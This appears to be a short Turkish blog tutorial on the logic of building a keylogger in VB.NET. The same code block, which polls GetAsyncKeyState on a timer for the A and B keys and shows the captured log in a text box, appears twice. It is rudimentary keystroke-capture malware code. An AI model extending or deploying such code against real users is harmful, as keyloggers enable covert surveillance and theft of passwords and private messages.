Bu Dersimiz'de VB.NET'de Tuş Kaydedici Yapmayı Göstermiş Bulunmaktayız!
Tuşları Çektiğimiz Library :
Private Declare Function GetAsyncKeyState Lib "user32"(ByVal vkey As Integer) As Short
Global Değişkenimiz : Dim Log As String
Timer1 Kodları:
If (GetAsyncKeyState(65)) Then
Log = Log + "A"
ElseIf (GetAsyncKeyState(66)) Then
Log = Log + "B"
End If
Button1 Kodları:
RichTextBox1.Text = log
Form1_Load Kodları:
Timer1.Enabled = True
Private Declare Function GetAsyncKeyState Lib "user32"(ByVal vkey As Integer) As Short
Global Değişkenimiz : Dim Log As String
Timer1 Kodları:
If (GetAsyncKeyState(65)) Then
Log = Log + "A"
ElseIf (GetAsyncKeyState(66)) Then
Log = Log + "B"
End If
Button1 Kodları:
RichTextBox1.Text = log
Form1_Load Kodları:
Timer1.Enabled = True
0 Comment "[VB.NET]Keylogger Yapım Mantığı"
Yorum Gönder